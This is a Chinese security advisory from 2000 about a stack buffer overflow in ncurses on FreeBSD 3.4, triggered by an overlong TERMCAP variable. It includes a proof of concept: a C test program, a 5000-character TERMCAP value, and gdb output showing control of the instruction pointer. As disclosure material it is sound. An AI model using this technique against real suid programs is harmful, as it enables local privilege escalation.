首页 -> 安全研究

安全研究

安全漏洞
FreeBSD ncurses 缓冲区溢出漏洞

发布日期:2000-04-26
更新日期:2000-04-26

受影响系统:
FreeBSD 3.4-STABLE
不受影响系统:
FreeBSD 5.0-CURRENT
描述:

较早版本FreeBSD中所带的 ncurses (一个高层终端操作库)有缓冲区溢出问题。
如果TERMCAP环境变量的长度超过了其内部定义的最大长度,将导致堆栈溢出。
任何使用了ncurses库的suid程序都将含有这个问题。在FreeBSD(版本3.4-RELEASE)
里面带有的ncurses(版本1.8.6)就含有这个漏洞。

<* 来源:      Przemyslaw Frasunek <venglin@freebsd.lublin.pl>
   相关链接:   http://www.freebsd.org/security/
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

lubi:venglin:~> cat tescik.c
#include <ncurses.h>
main() { initscr(); }

lubi:venglin:~> cc -g -o te tescik.c -lncurses
lubi:venglin:~> setenv TERMCAP `perl -e 'print "A"x5000'`
lubi:venglin:~> gdb ./te
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
(gdb) run
Starting program: /usr/home/venglin/./te


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()




建议:
暂无

浏览次数:6325
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障